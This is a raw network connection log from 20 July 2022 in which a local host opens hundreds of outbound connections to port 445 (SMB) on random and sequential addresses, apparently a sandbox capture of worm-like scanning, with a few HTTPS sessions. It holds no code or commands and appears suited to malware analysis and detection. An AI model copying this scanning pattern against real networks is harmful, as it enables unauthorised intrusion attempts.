Jul 20, 2022 19:31:52.007226944 CEST	52037	445	192.168.2.7	51.158.189.12
Jul 20, 2022 19:31:52.029788017 CEST	445	52037	51.158.189.12	192.168.2.7
Jul 20, 2022 19:31:52.211606979 CEST	52085	445	192.168.2.7	131.153.221.2
Jul 20, 2022 19:31:52.331974983 CEST	443	49720	13.107.6.254	192.168.2.7
Jul 20, 2022 19:31:52.372155905 CEST	445	52085	131.153.221.2	192.168.2.7
Jul 20, 2022 19:31:52.372811079 CEST	52085	445	192.168.2.7	131.153.221.2
Jul 20, 2022 19:31:52.378967047 CEST	52085	445	192.168.2.7	131.153.221.2
Jul 20, 2022 19:31:52.430016994 CEST	52087	445	192.168.2.7	51.158.189.13
Jul 20, 2022 19:31:52.536614895 CEST	445	52085	131.153.221.2	192.168.2.7
Jul 20, 2022 19:31:52.606317997 CEST	52089	445	192.168.2.7	131.153.221.3
Jul 20, 2022 19:31:52.632875919 CEST	52090	445	192.168.2.7	213.142.151.48
Jul 20, 2022 19:31:52.885463953 CEST	52093	445	192.168.2.7	159.144.168.22
Jul 20, 2022 19:31:52.904824018 CEST	52097	445	192.168.2.7	209.190.66.64
Jul 20, 2022 19:31:52.905464888 CEST	52100	445	192.168.2.7	218.53.235.31
Jul 20, 2022 19:31:52.906323910 CEST	52101	445	192.168.2.7	90.149.45.6
Jul 20, 2022 19:31:52.909245014 CEST	52104	445	192.168.2.7	17.80.116.107
Jul 20, 2022 19:31:52.910562992 CEST	52106	445	192.168.2.7	91.102.226.11
Jul 20, 2022 19:31:52.911248922 CEST	52107	445	192.168.2.7	119.180.7.210
Jul 20, 2022 19:31:52.911933899 CEST	52108	445	192.168.2.7	25.36.176.203
Jul 20, 2022 19:31:52.914477110 CEST	52111	445	192.168.2.7	46.211.103.114
Jul 20, 2022 19:31:52.915271997 CEST	52112	445	192.168.2.7	202.234.120.211
Jul 20, 2022 19:31:52.916076899 CEST	52113	445	192.168.2.7	185.231.106.180
Jul 20, 2022 19:31:52.916805029 CEST	52114	445	192.168.2.7	50.5.217.178
Jul 20, 2022 19:31:52.961916924 CEST	52115	445	192.168.2.7	41.107.44.75
Jul 20, 2022 19:31:52.994452953 CEST	52116	445	192.168.2.7	58.39.132.195
Jul 20, 2022 19:31:52.994556904 CEST	52117	445	192.168.2.7	68.51.81.254
Jul 20, 2022 19:31:52.994693041 CEST	52119	445	192.168.2.7	94.82.140.217
Jul 20, 2022 19:31:52.994735003 CEST	52118	445	192.168.2.7	33.213.186.231
Jul 20, 2022 19:31:52.994765043 CEST	52120	445	192.168.2.7	126.129.138.253
Jul 20, 2022 19:31:52.994869947 CEST	52121	445	192.168.2.7	211.99.72.198
Jul 20, 2022 19:31:52.994889975 CEST	52122	445	192.168.2.7	149.38.17.65
Jul 20, 2022 19:31:53.008725882 CEST	52123	445	192.168.2.7	190.21.135.228
Jul 20, 2022 19:31:53.025077105 CEST	52124	445	192.168.2.7	22.242.119.198
Jul 20, 2022 19:31:53.061337948 CEST	52126	445	192.168.2.7	4.129.208.225
Jul 20, 2022 19:31:53.061444998 CEST	52128	445	192.168.2.7	218.115.151.187
Jul 20, 2022 19:31:53.061494112 CEST	52127	445	192.168.2.7	69.170.184.223
Jul 20, 2022 19:31:53.061598063 CEST	52129	445	192.168.2.7	197.134.80.224
Jul 20, 2022 19:31:53.061667919 CEST	52130	445	192.168.2.7	165.215.53.107
Jul 20, 2022 19:31:53.071578979 CEST	52131	445	192.168.2.7	83.28.252.199
Jul 20, 2022 19:31:53.071661949 CEST	52132	445	192.168.2.7	32.124.11.113
Jul 20, 2022 19:31:53.569658995 CEST	52136	445	192.168.2.7	51.158.189.14
Jul 20, 2022 19:31:53.695727110 CEST	52138	445	192.168.2.7	131.153.221.4
Jul 20, 2022 19:31:53.712774038 CEST	52139	445	192.168.2.7	213.142.151.49
Jul 20, 2022 19:31:54.011398077 CEST	52143	445	192.168.2.7	63.18.225.90
Jul 20, 2022 19:31:54.024935007 CEST	52146	445	192.168.2.7	141.8.110.44
Jul 20, 2022 19:31:54.025566101 CEST	52147	445	192.168.2.7	37.123.25.117
Jul 20, 2022 19:31:54.026303053 CEST	52148	445	192.168.2.7	200.186.229.233
Jul 20, 2022 19:31:54.027779102 CEST	52150	445	192.168.2.7	39.232.152.46
Jul 20, 2022 19:31:54.029865980 CEST	52153	445	192.168.2.7	72.117.18.140
Jul 20, 2022 19:31:54.030776978 CEST	52154	445	192.168.2.7	1.106.39.166
Jul 20, 2022 19:31:54.032725096 CEST	52157	445	192.168.2.7	44.121.233.93
Jul 20, 2022 19:31:54.039604902 CEST	52161	445	192.168.2.7	211.142.204.46
Jul 20, 2022 19:31:54.040343046 CEST	52162	445	192.168.2.7	81.56.227.144
Jul 20, 2022 19:31:54.041085005 CEST	52163	445	192.168.2.7	50.231.165.53
Jul 20, 2022 19:31:54.041785955 CEST	52164	445	192.168.2.7	223.92.181.228
Jul 20, 2022 19:31:54.086426973 CEST	52165	445	192.168.2.7	157.80.236.83
Jul 20, 2022 19:31:54.117996931 CEST	52166	445	192.168.2.7	79.222.61.230
Jul 20, 2022 19:31:54.120670080 CEST	52167	445	192.168.2.7	173.169.107.98
Jul 20, 2022 19:31:54.121238947 CEST	52169	445	192.168.2.7	96.12.79.7
Jul 20, 2022 19:31:54.121300936 CEST	52168	445	192.168.2.7	213.254.125.238
Jul 20, 2022 19:31:54.121556997 CEST	52171	445	192.168.2.7	188.191.244.55
Jul 20, 2022 19:31:54.121579885 CEST	52170	445	192.168.2.7	143.215.8.16
Jul 20, 2022 19:31:54.121742010 CEST	52172	445	192.168.2.7	11.66.106.43
Jul 20, 2022 19:31:54.133703947 CEST	52173	445	192.168.2.7	112.134.242.73
Jul 20, 2022 19:31:54.150567055 CEST	52175	445	192.168.2.7	65.106.43.224
Jul 20, 2022 19:31:54.192145109 CEST	52176	445	192.168.2.7	165.55.46.198
Jul 20, 2022 19:31:54.193411112 CEST	52177	445	192.168.2.7	106.70.240.62
Jul 20, 2022 19:31:54.208266020 CEST	52179	445	192.168.2.7	175.101.161.113
Jul 20, 2022 19:31:54.208399057 CEST	52181	445	192.168.2.7	45.120.87.157
Jul 20, 2022 19:31:54.208524942 CEST	52182	445	192.168.2.7	139.111.209.176
Jul 20, 2022 19:31:54.208528996 CEST	52180	445	192.168.2.7	131.2.201.24
Jul 20, 2022 19:31:54.208607912 CEST	52183	445	192.168.2.7	153.80.218.64
Jul 20, 2022 19:31:54.661957026 CEST	52186	445	192.168.2.7	51.158.189.15
Jul 20, 2022 19:31:54.684521914 CEST	445	52186	51.158.189.15	192.168.2.7
Jul 20, 2022 19:31:54.774003983 CEST	52187	445	192.168.2.7	131.153.221.5
Jul 20, 2022 19:31:54.790066004 CEST	52188	445	192.168.2.7	213.142.151.50
Jul 20, 2022 19:31:55.134486914 CEST	52193	445	192.168.2.7	185.137.45.139
Jul 20, 2022 19:31:55.151755095 CEST	52197	445	192.168.2.7	165.229.170.142
Jul 20, 2022 19:31:55.153218031 CEST	52200	445	192.168.2.7	23.47.81.132
Jul 20, 2022 19:31:55.153754950 CEST	52201	445	192.168.2.7	34.93.137.6
Jul 20, 2022 19:31:55.155220032 CEST	52204	445	192.168.2.7	190.179.178.212
Jul 20, 2022 19:31:55.156265020 CEST	52206	445	192.168.2.7	17.167.14.109
Jul 20, 2022 19:31:55.156814098 CEST	52207	445	192.168.2.7	36.90.242.11
Jul 20, 2022 19:31:55.157618999 CEST	52208	445	192.168.2.7	201.138.223.43
Jul 20, 2022 19:31:55.165818930 CEST	52211	445	192.168.2.7	189.221.26.15
Jul 20, 2022 19:31:55.167092085 CEST	52213	445	192.168.2.7	35.57.110.163
Jul 20, 2022 19:31:55.170403004 CEST	52214	445	192.168.2.7	7.154.236.104
Jul 20, 2022 19:31:55.171438932 CEST	52212	445	192.168.2.7	76.129.11.4
Jul 20, 2022 19:31:55.212058067 CEST	52215	445	192.168.2.7	27.223.74.160
Jul 20, 2022 19:31:55.244734049 CEST	52216	445	192.168.2.7	191.24.115.212
Jul 20, 2022 19:31:55.244800091 CEST	52217	445	192.168.2.7	198.107.197.127
Jul 20, 2022 19:31:55.244977951 CEST	52218	445	192.168.2.7	106.203.113.119
Jul 20, 2022 19:31:55.245048046 CEST	52220	445	192.168.2.7	88.103.173.83
Jul 20, 2022 19:31:55.245060921 CEST	52219	445	192.168.2.7	53.222.178.24
Jul 20, 2022 19:31:55.245148897 CEST	52221	445	192.168.2.7	44.5.60.46
Jul 20, 2022 19:31:55.245203018 CEST	52222	445	192.168.2.7	48.191.76.211
Jul 20, 2022 19:31:55.261787891 CEST	52223	445	192.168.2.7	21.208.18.8
Jul 20, 2022 19:31:55.275024891 CEST	52225	445	192.168.2.7	76.200.176.181
Jul 20, 2022 19:31:55.307374954 CEST	52226	445	192.168.2.7	5.232.192.114
Jul 20, 2022 19:31:55.307434082 CEST	52227	445	192.168.2.7	212.245.111.225
Jul 20, 2022 19:31:55.322906017 CEST	52229	445	192.168.2.7	5.66.143.59
Jul 20, 2022 19:31:55.323556900 CEST	52230	445	192.168.2.7	95.171.153.204
Jul 20, 2022 19:31:55.336772919 CEST	52231	445	192.168.2.7	222.57.162.35
Jul 20, 2022 19:31:55.336786032 CEST	52232	445	192.168.2.7	183.80.100.117
Jul 20, 2022 19:31:55.337644100 CEST	52233	445	192.168.2.7	42.74.188.174
Jul 20, 2022 19:31:55.378453016 CEST	445	52207	36.90.242.11	192.168.2.7
Jul 20, 2022 19:31:55.382481098 CEST	52186	445	192.168.2.7	51.158.189.15
Jul 20, 2022 19:31:55.404938936 CEST	445	52186	51.158.189.15	192.168.2.7
Jul 20, 2022 19:31:55.727006912 CEST	52236	445	192.168.2.7	51.158.189.16
Jul 20, 2022 19:31:55.852101088 CEST	52238	445	192.168.2.7	131.153.221.6
Jul 20, 2022 19:31:55.868043900 CEST	52239	445	192.168.2.7	213.142.151.51
Jul 20, 2022 19:31:55.882554054 CEST	52207	445	192.168.2.7	36.90.242.11
Jul 20, 2022 19:31:56.103935003 CEST	445	52207	36.90.242.11	192.168.2.7
Jul 20, 2022 19:31:56.259768963 CEST	52244	445	192.168.2.7	171.183.127.167
Jul 20, 2022 19:31:56.275527000 CEST	52247	445	192.168.2.7	21.73.152.175
Jul 20, 2022 19:31:56.276166916 CEST	52248	445	192.168.2.7	140.108.121.112
Jul 20, 2022 19:31:56.276691914 CEST	52249	445	192.168.2.7	72.109.245.206
Jul 20, 2022 19:31:56.277698994 CEST	52251	445	192.168.2.7	36.58.55.178
Jul 20, 2022 19:31:56.279155970 CEST	52254	445	192.168.2.7	132.66.235.95
Jul 20, 2022 19:31:56.279694080 CEST	52255	445	192.168.2.7	116.51.61.227
Jul 20, 2022 19:31:56.293390036 CEST	52258	445	192.168.2.7	88.196.210.219
Jul 20, 2022 19:31:56.293523073 CEST	52263	445	192.168.2.7	5.49.11.134
Jul 20, 2022 19:31:56.293654919 CEST	52265	445	192.168.2.7	112.46.177.46
Jul 20, 2022 19:31:56.293661118 CEST	52264	445	192.168.2.7	6.109.234.50
Jul 20, 2022 19:31:56.297132969 CEST	52262	445	192.168.2.7	188.235.16.10
Jul 20, 2022 19:31:56.336628914 CEST	52266	445	192.168.2.7	56.226.14.165
Jul 20, 2022 19:31:56.347599983 CEST	445	52258	88.196.210.219	192.168.2.7
Jul 20, 2022 19:31:56.367913961 CEST	52267	445	192.168.2.7	58.54.215.136
Jul 20, 2022 19:31:56.368621111 CEST	52268	445	192.168.2.7	82.93.147.61
Jul 20, 2022 19:31:56.369371891 CEST	52269	445	192.168.2.7	174.15.128.168
Jul 20, 2022 19:31:56.369924068 CEST	52270	445	192.168.2.7	201.105.163.84
Jul 20, 2022 19:31:56.370444059 CEST	52271	445	192.168.2.7	164.40.146.72
Jul 20, 2022 19:31:56.371118069 CEST	52272	445	192.168.2.7	73.229.137.74
Jul 20, 2022 19:31:56.371711016 CEST	52273	445	192.168.2.7	84.168.157.76
Jul 20, 2022 19:31:56.385657072 CEST	52274	445	192.168.2.7	67.235.206.156
Jul 20, 2022 19:31:56.399228096 CEST	52276	445	192.168.2.7	33.238.128.2
Jul 20, 2022 19:31:56.430474043 CEST	52277	445	192.168.2.7	131.205.242.221
Jul 20, 2022 19:31:56.430474997 CEST	52278	445	192.168.2.7	72.247.168.135
Jul 20, 2022 19:31:56.472623110 CEST	52280	445	192.168.2.7	183.92.144.77
Jul 20, 2022 19:31:56.472696066 CEST	52281	445	192.168.2.7	183.14.134.6
Jul 20, 2022 19:31:56.472806931 CEST	52282	445	192.168.2.7	136.120.139.97
Jul 20, 2022 19:31:56.472860098 CEST	52283	445	192.168.2.7	27.100.254.146
Jul 20, 2022 19:31:56.472876072 CEST	52284	445	192.168.2.7	158.52.81.108
Jul 20, 2022 19:31:56.519412994 CEST	445	52274	67.235.206.156	192.168.2.7
Jul 20, 2022 19:31:56.805516005 CEST	52287	445	192.168.2.7	51.158.189.17
Jul 20, 2022 19:31:56.829456091 CEST	445	52287	51.158.189.17	192.168.2.7
Jul 20, 2022 19:31:56.942478895 CEST	52288	445	192.168.2.7	131.153.221.7
Jul 20, 2022 19:31:56.951999903 CEST	52290	445	192.168.2.7	213.142.151.52
Jul 20, 2022 19:31:57.007715940 CEST	52258	445	192.168.2.7	88.196.210.219
Jul 20, 2022 19:31:57.061820030 CEST	445	52258	88.196.210.219	192.168.2.7
Jul 20, 2022 19:31:57.179502010 CEST	52274	445	192.168.2.7	67.235.206.156
Jul 20, 2022 19:31:57.314754009 CEST	445	52274	67.235.206.156	192.168.2.7
Jul 20, 2022 19:31:57.382685900 CEST	52287	445	192.168.2.7	51.158.189.17
Jul 20, 2022 19:31:57.406805992 CEST	445	52287	51.158.189.17	192.168.2.7
Jul 20, 2022 19:31:57.525758982 CEST	52294	445	192.168.2.7	59.41.65.96
Jul 20, 2022 19:31:57.526259899 CEST	52295	445	192.168.2.7	32.221.2.60
Jul 20, 2022 19:31:57.526863098 CEST	52296	445	192.168.2.7	84.135.11.17
Jul 20, 2022 19:31:57.527270079 CEST	52297	445	192.168.2.7	27.190.67.238
Jul 20, 2022 19:31:57.528687000 CEST	52300	445	192.168.2.7	202.118.230.21
Jul 20, 2022 19:31:57.530061960 CEST	52303	445	192.168.2.7	157.162.150.61
Jul 20, 2022 19:31:57.530764103 CEST	52304	445	192.168.2.7	27.53.239.38
Jul 20, 2022 19:31:57.531275034 CEST	52305	445	192.168.2.7	101.181.204.148
Jul 20, 2022 19:31:57.531790972 CEST	52306	445	192.168.2.7	40.17.155.3
Jul 20, 2022 19:31:57.532752037 CEST	52308	445	192.168.2.7	65.75.62.219
Jul 20, 2022 19:31:57.533262968 CEST	52309	445	192.168.2.7	141.24.20.65
Jul 20, 2022 19:31:57.534641027 CEST	52312	445	192.168.2.7	187.250.80.245
Jul 20, 2022 19:31:57.535567999 CEST	52314	445	192.168.2.7	93.100.93.129
Jul 20, 2022 19:31:57.536556005 CEST	52316	445	192.168.2.7	124.18.91.119
Jul 20, 2022 19:31:57.536681890 CEST	52315	445	192.168.2.7	120.12.53.207
Jul 20, 2022 19:31:57.538378954 CEST	52320	445	192.168.2.7	10.56.41.93
Jul 20, 2022 19:31:57.587872982 CEST	52321	445	192.168.2.7	123.1.186.94
Jul 20, 2022 19:31:57.593776941 CEST	52323	445	192.168.2.7	20.175.50.95
Jul 20, 2022 19:31:57.593807936 CEST	52324	445	192.168.2.7	202.187.167.136
Jul 20, 2022 19:31:57.593816042 CEST	52322	445	192.168.2.7	103.88.128.235
Jul 20, 2022 19:31:57.593844891 CEST	52325	445	192.168.2.7	146.94.30.97
Jul 20, 2022 19:31:57.593848944 CEST	52326	445	192.168.2.7	98.215.220.109
Jul 20, 2022 19:31:57.602159023 CEST	52328	445	192.168.2.7	104.46.192.209
Jul 20, 2022 19:31:57.603096962 CEST	52329	445	192.168.2.7	84.66.108.113
Jul 20, 2022 19:31:57.603344917 CEST	52330	445	192.168.2.7	67.2.40.95
Jul 20, 2022 19:31:57.603935003 CEST	52331	445	192.168.2.7	181.113.131.32
Jul 20, 2022 19:31:57.604510069 CEST	52332	445	192.168.2.7	5.247.224.211
Jul 20, 2022 19:31:57.605501890 CEST	52334	445	192.168.2.7	207.93.222.138
Jul 20, 2022 19:31:57.606000900 CEST	52335	445	192.168.2.7	36.235.60.29
Jul 20, 2022 19:31:57.959119081 CEST	52338	445	192.168.2.7	51.158.189.18
Jul 20, 2022 19:31:58.062268972 CEST	443	49716	204.79.197.222	192.168.2.7
Jul 20, 2022 19:31:58.215941906 CEST	52340	445	192.168.2.7	131.153.221.8
Jul 20, 2022 19:31:58.217175961 CEST	52342	445	192.168.2.7	213.142.151.53
Jul 20, 2022 19:31:59.446206093 CEST	52346	445	192.168.2.7	51.158.189.19
Jul 20, 2022 19:31:59.446969986 CEST	52347	445	192.168.2.7	131.153.221.9
Jul 20, 2022 19:31:59.447746038 CEST	52348	445	192.168.2.7	213.142.151.54
Jul 20, 2022 19:31:59.471185923 CEST	445	52346	51.158.189.19	192.168.2.7
Jul 20, 2022 19:31:59.471368074 CEST	52346	445	192.168.2.7	51.158.189.19
Jul 20, 2022 19:31:59.528330088 CEST	52361	445	192.168.2.7	108.251.206.217
Jul 20, 2022 19:31:59.528338909 CEST	52367	445	192.168.2.7	157.38.4.7
Jul 20, 2022 19:31:59.528362989 CEST	52349	445	192.168.2.7	109.16.8.172
Jul 20, 2022 19:31:59.528363943 CEST	52351	445	192.168.2.7	164.68.242.244
Jul 20, 2022 19:31:59.528367043 CEST	52355	445	192.168.2.7	75.83.59.70
Jul 20, 2022 19:31:59.528395891 CEST	52370	445	192.168.2.7	149.183.85.74
Jul 20, 2022 19:31:59.528405905 CEST	52364	445	192.168.2.7	180.75.53.57
Jul 20, 2022 19:31:59.528418064 CEST	52365	445	192.168.2.7	204.73.77.128
Jul 20, 2022 19:31:59.528425932 CEST	52369	445	192.168.2.7	153.206.249.132
Jul 20, 2022 19:31:59.528434992 CEST	52350	445	192.168.2.7	91.110.139.89
Jul 20, 2022 19:31:59.528449059 CEST	52372	445	192.168.2.7	101.191.67.212
Jul 20, 2022 19:31:59.528453112 CEST	52374	445	192.168.2.7	204.7.112.164
Jul 20, 2022 19:31:59.528453112 CEST	52346	445	192.168.2.7	51.158.189.19
Jul 20, 2022 19:31:59.528471947 CEST	52377	445	192.168.2.7	147.234.80.77
Jul 20, 2022 19:31:59.528495073 CEST	52363	445	192.168.2.7	183.104.248.51
Jul 20, 2022 19:31:59.528497934 CEST	52371	445	192.168.2.7	106.176.234.243
Jul 20, 2022 19:31:59.528517008 CEST	52368	445	192.168.2.7	79.147.105.168
Jul 20, 2022 19:31:59.528526068 CEST	52376	445	192.168.2.7	183.12.177.139
Jul 20, 2022 19:31:59.528597116 CEST	52373	445	192.168.2.7	109.87.237.141
Jul 20, 2022 19:31:59.528657913 CEST	52362	445	192.168.2.7	54.131.234.232
Jul 20, 2022 19:31:59.528712034 CEST	52378	445	192.168.2.7	178.155.125.207
Jul 20, 2022 19:31:59.551590919 CEST	445	52346	51.158.189.19	192.168.2.7
Jul 20, 2022 19:31:59.551676035 CEST	52346	445	192.168.2.7	51.158.189.19
Jul 20, 2022 19:31:59.614458084 CEST	52379	445	192.168.2.7	203.64.176.62
Jul 20, 2022 19:31:59.620903015 CEST	445	52347	131.153.221.9	192.168.2.7
Jul 20, 2022 19:31:59.620973110 CEST	52381	445	192.168.2.7	210.78.156.181
Jul 20, 2022 19:31:59.621294022 CEST	52385	445	192.168.2.7	99.189.206.108
Jul 20, 2022 19:31:59.621419907 CEST	52386	445	192.168.2.7	194.241.8.22
Jul 20, 2022 19:31:59.621484995 CEST	52387	445	192.168.2.7	211.67.109.36
Jul 20, 2022 19:31:59.621509075 CEST	52388	445	192.168.2.7	164.30.179.143
Jul 20, 2022 19:31:59.621649981 CEST	52390	445	192.168.2.7	81.231.179.145
Jul 20, 2022 19:31:59.621753931 CEST	52391	445	192.168.2.7	104.249.188.102
Jul 20, 2022 19:31:59.621900082 CEST	52393	445	192.168.2.7	14.216.69.117
Jul 20, 2022 19:31:59.622864962 CEST	52398	445	192.168.2.7	51.158.189.19
Jul 20, 2022 19:31:59.645143986 CEST	445	52398	51.158.189.19	192.168.2.7
Jul 20, 2022 19:31:59.645241976 CEST	52398	445	192.168.2.7	51.158.189.19
Jul 20, 2022 19:31:59.646480083 CEST	52398	445	192.168.2.7	51.158.189.19
Jul 20, 2022 19:31:59.669337988 CEST	445	52398	51.158.189.19	192.168.2.7
Jul 20, 2022 19:31:59.669367075 CEST	445	52398	51.158.189.19	192.168.2.7
Jul 20, 2022 19:31:59.669466019 CEST	52398	445	192.168.2.7	51.158.189.19
Jul 20, 2022 19:31:59.669697046 CEST	52398	445	192.168.2.7	51.158.189.19
Jul 20, 2022 19:31:59.670121908 CEST	52398	445	192.168.2.7	51.158.189.19
Jul 20, 2022 19:31:59.692030907 CEST	445	52398	51.158.189.19	192.168.2.7
Jul 20, 2022 19:31:59.692267895 CEST	445	52398	51.158.189.19	192.168.2.7
Jul 20, 2022 19:32:00.320439100 CEST	52347	445	192.168.2.7	131.153.221.9
Jul 20, 2022 19:32:00.494484901 CEST	445	52347	131.153.221.9	192.168.2.7
Jul 20, 2022 19:32:01.008060932 CEST	52347	445	192.168.2.7	131.153.221.9
Jul 20, 2022 19:32:01.182225943 CEST	445	52347	131.153.221.9	192.168.2.7
Jul 20, 2022 19:32:02.151690960 CEST	52401	445	192.168.2.7	213.142.151.55
Jul 20, 2022 19:32:02.153820992 CEST	52402	445	192.168.2.7	131.153.221.10
Jul 20, 2022 19:32:02.165851116 CEST	52403	445	192.168.2.7	77.190.59.181
Jul 20, 2022 19:32:02.166640043 CEST	52404	445	192.168.2.7	220.155.195.210
Jul 20, 2022 19:32:02.167989016 CEST	52406	445	192.168.2.7	15.243.103.95
Jul 20, 2022 19:32:02.168730021 CEST	52407	445	192.168.2.7	165.61.70.61
Jul 20, 2022 19:32:02.169428110 CEST	52408	445	192.168.2.7	115.123.175.62
Jul 20, 2022 19:32:02.170140982 CEST	52409	445	192.168.2.7	171.191.47.119
Jul 20, 2022 19:32:02.170838118 CEST	52410	445	192.168.2.7	185.195.201.22
Jul 20, 2022 19:32:02.171505928 CEST	52411	445	192.168.2.7	204.42.23.151
Jul 20, 2022 19:32:02.173007965 CEST	52413	445	192.168.2.7	223.40.64.144
Jul 20, 2022 19:32:02.173722982 CEST	52414	445	192.168.2.7	81.138.113.167
Jul 20, 2022 19:32:02.174432993 CEST	52415	445	192.168.2.7	56.175.203.248
Jul 20, 2022 19:32:02.175142050 CEST	52416	445	192.168.2.7	161.248.83.230
Jul 20, 2022 19:32:02.175851107 CEST	52417	445	192.168.2.7	63.27.5.66
Jul 20, 2022 19:32:02.176557064 CEST	52418	445	192.168.2.7	72.18.223.109
Jul 20, 2022 19:32:02.183682919 CEST	52419	445	192.168.2.7	48.13.44.26
Jul 20, 2022 19:32:02.191730022 CEST	52429	445	192.168.2.7	103.94.85.208
Jul 20, 2022 19:32:02.192738056 CEST	52435	445	192.168.2.7	196.93.46.91
Jul 20, 2022 19:32:02.193507910 CEST	52436	445	192.168.2.7	217.251.60.182
Jul 20, 2022 19:32:02.195002079 CEST	52438	445	192.168.2.7	77.81.167.98
Jul 20, 2022 19:32:02.195518970 CEST	52437	445	192.168.2.7	158.130.241.118
Jul 20, 2022 19:32:02.195880890 CEST	52439	445	192.168.2.7	40.3.32.104
Jul 20, 2022 19:32:02.197252035 CEST	52441	445	192.168.2.7	183.242.129.122
Jul 20, 2022 19:32:02.198626995 CEST	52443	445	192.168.2.7	146.92.189.150
Jul 20, 2022 19:32:02.201286077 CEST	52447	445	192.168.2.7	191.216.171.23
Jul 20, 2022 19:32:02.201973915 CEST	52448	445	192.168.2.7	65.232.112.99
Jul 20, 2022 19:32:02.202682972 CEST	52449	445	192.168.2.7	156.114.163.188
Jul 20, 2022 19:32:02.203398943 CEST	52450	445	192.168.2.7	176.50.242.71
Jul 20, 2022 19:32:02.204796076 CEST	52452	445	192.168.2.7	67.20.232.71
Jul 20, 2022 19:32:02.701008081 CEST	52453	445	192.168.2.7	51.158.189.19
Jul 20, 2022 19:32:02.701212883 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:32:02.723598957 CEST	445	52453	51.158.189.19	192.168.2.7
Jul 20, 2022 19:32:02.723721027 CEST	52453	445	192.168.2.7	51.158.189.19
Jul 20, 2022 19:32:02.727303982 CEST	52453	445	192.168.2.7	51.158.189.19
Jul 20, 2022 19:32:02.752278090 CEST	445	52453	51.158.189.19	192.168.2.7
Jul 20, 2022 19:32:02.752321005 CEST	445	52453	51.158.189.19	192.168.2.7
Jul 20, 2022 19:32:02.752420902 CEST	52453	445	192.168.2.7	51.158.189.19
Jul 20, 2022 19:32:02.752531052 CEST	52453	445	192.168.2.7	51.158.189.19
Jul 20, 2022 19:32:02.752962112 CEST	52453	445	192.168.2.7	51.158.189.19
Jul 20, 2022 19:32:02.775655985 CEST	445	52453	51.158.189.19	192.168.2.7
Jul 20, 2022 19:32:02.775911093 CEST	445	52453	51.158.189.19	192.168.2.7
Jul 20, 2022 19:32:02.864645958 CEST	52454	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:32:02.864692926 CEST	443	52454	20.199.120.85	192.168.2.7
Jul 20, 2022 19:32:02.864801884 CEST	52454	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:32:02.865710020 CEST	52454	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:32:02.865731001 CEST	443	52454	20.199.120.85	192.168.2.7
Jul 20, 2022 19:32:02.866678953 CEST	52455	445	192.168.2.7	51.158.189.20
Jul 20, 2022 19:32:02.963083982 CEST	443	52454	20.199.120.85	192.168.2.7
Jul 20, 2022 19:32:02.963221073 CEST	52454	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:32:02.981178045 CEST	52454	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:32:02.981215954 CEST	443	52454	20.199.120.85	192.168.2.7
Jul 20, 2022 19:32:02.981544018 CEST	443	52454	20.199.120.85	192.168.2.7
Jul 20, 2022 19:32:02.983613014 CEST	52454	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:32:02.983656883 CEST	52454	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:32:02.983675957 CEST	443	52454	20.199.120.85	192.168.2.7
Jul 20, 2022 19:32:02.983798981 CEST	52454	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:32:03.011044979 CEST	443	52454	20.199.120.85	192.168.2.7
Jul 20, 2022 19:32:03.011154890 CEST	443	52454	20.199.120.85	192.168.2.7
Jul 20, 2022 19:32:03.011212111 CEST	52454	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:32:03.037942886 CEST	52454	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:32:03.037990093 CEST	443	52454	20.199.120.85	192.168.2.7
Jul 20, 2022 19:32:03.243334055 CEST	52457	445	192.168.2.7	213.142.151.56
Jul 20, 2022 19:32:03.246646881 CEST	52458	445	192.168.2.7	131.153.221.11
Jul 20, 2022 19:32:03.308801889 CEST	52459	445	192.168.2.7	100.91.237.53
Jul 20, 2022 19:32:03.442605019 CEST	52460	445	192.168.2.7	73.134.141.10
Jul 20, 2022 19:32:03.444740057 CEST	52462	445	192.168.2.7	48.250.68.20
Jul 20, 2022 19:32:03.444833040 CEST	52463	445	192.168.2.7	36.179.124.202
Jul 20, 2022 19:32:03.444953918 CEST	52465	445	192.168.2.7	206.149.85.83
Jul 20, 2022 19:32:03.445064068 CEST	52464	445	192.168.2.7	129.204.128.163
Jul 20, 2022 19:32:03.445168018 CEST	52466	445	192.168.2.7	49.205.228.7
Jul 20, 2022 19:32:03.445272923 CEST	52467	445	192.168.2.7	54.218.56.247
Jul 20, 2022 19:32:03.445369005 CEST	52468	445	192.168.2.7	11.46.215.228
Jul 20, 2022 19:32:03.445456982 CEST	52469	445	192.168.2.7	10.193.200.64
Jul 20, 2022 19:32:03.445705891 CEST	52471	445	192.168.2.7	153.111.114.195
Jul 20, 2022 19:32:03.445820093 CEST	52472	445	192.168.2.7	122.151.191.1
Jul 20, 2022 19:32:03.445975065 CEST	52473	445	192.168.2.7	81.174.186.253
Jul 20, 2022 19:32:03.446058035 CEST	52474	445	192.168.2.7	62.212.41.96
Jul 20, 2022 19:32:03.446152925 CEST	52475	445	192.168.2.7	168.254.37.156
Jul 20, 2022 19:32:03.446233988 CEST	52476	445	192.168.2.7	41.8.230.250
Jul 20, 2022 19:32:03.446554899 CEST	52477	445	192.168.2.7	180.212.124.42
Jul 20, 2022 19:32:03.446571112 CEST	52482	445	192.168.2.7	144.122.146.196
Jul 20, 2022 19:32:03.447758913 CEST	52490	445	192.168.2.7	136.241.66.190
Jul 20, 2022 19:32:03.447999954 CEST	52492	445	192.168.2.7	172.49.63.167
Jul 20, 2022 19:32:03.449738979 CEST	52494	445	192.168.2.7	183.201.176.252
Jul 20, 2022 19:32:03.455404997 CEST	52495	445	192.168.2.7	83.175.17.229
Jul 20, 2022 19:32:03.455596924 CEST	52496	445	192.168.2.7	152.171.114.149
Jul 20, 2022 19:32:03.455722094 CEST	52497	445	192.168.2.7	124.79.170.210
Jul 20, 2022 19:32:03.455821037 CEST	52498	445	192.168.2.7	92.30.50.173
Jul 20, 2022 19:32:03.455997944 CEST	52500	445	192.168.2.7	15.168.165.59
Jul 20, 2022 19:32:03.456135988 CEST	52502	445	192.168.2.7	48.104.76.138
Jul 20, 2022 19:32:03.456248999 CEST	52503	445	192.168.2.7	201.81.66.136
Jul 20, 2022 19:32:03.456326962 CEST	52504	445	192.168.2.7	87.181.183.40
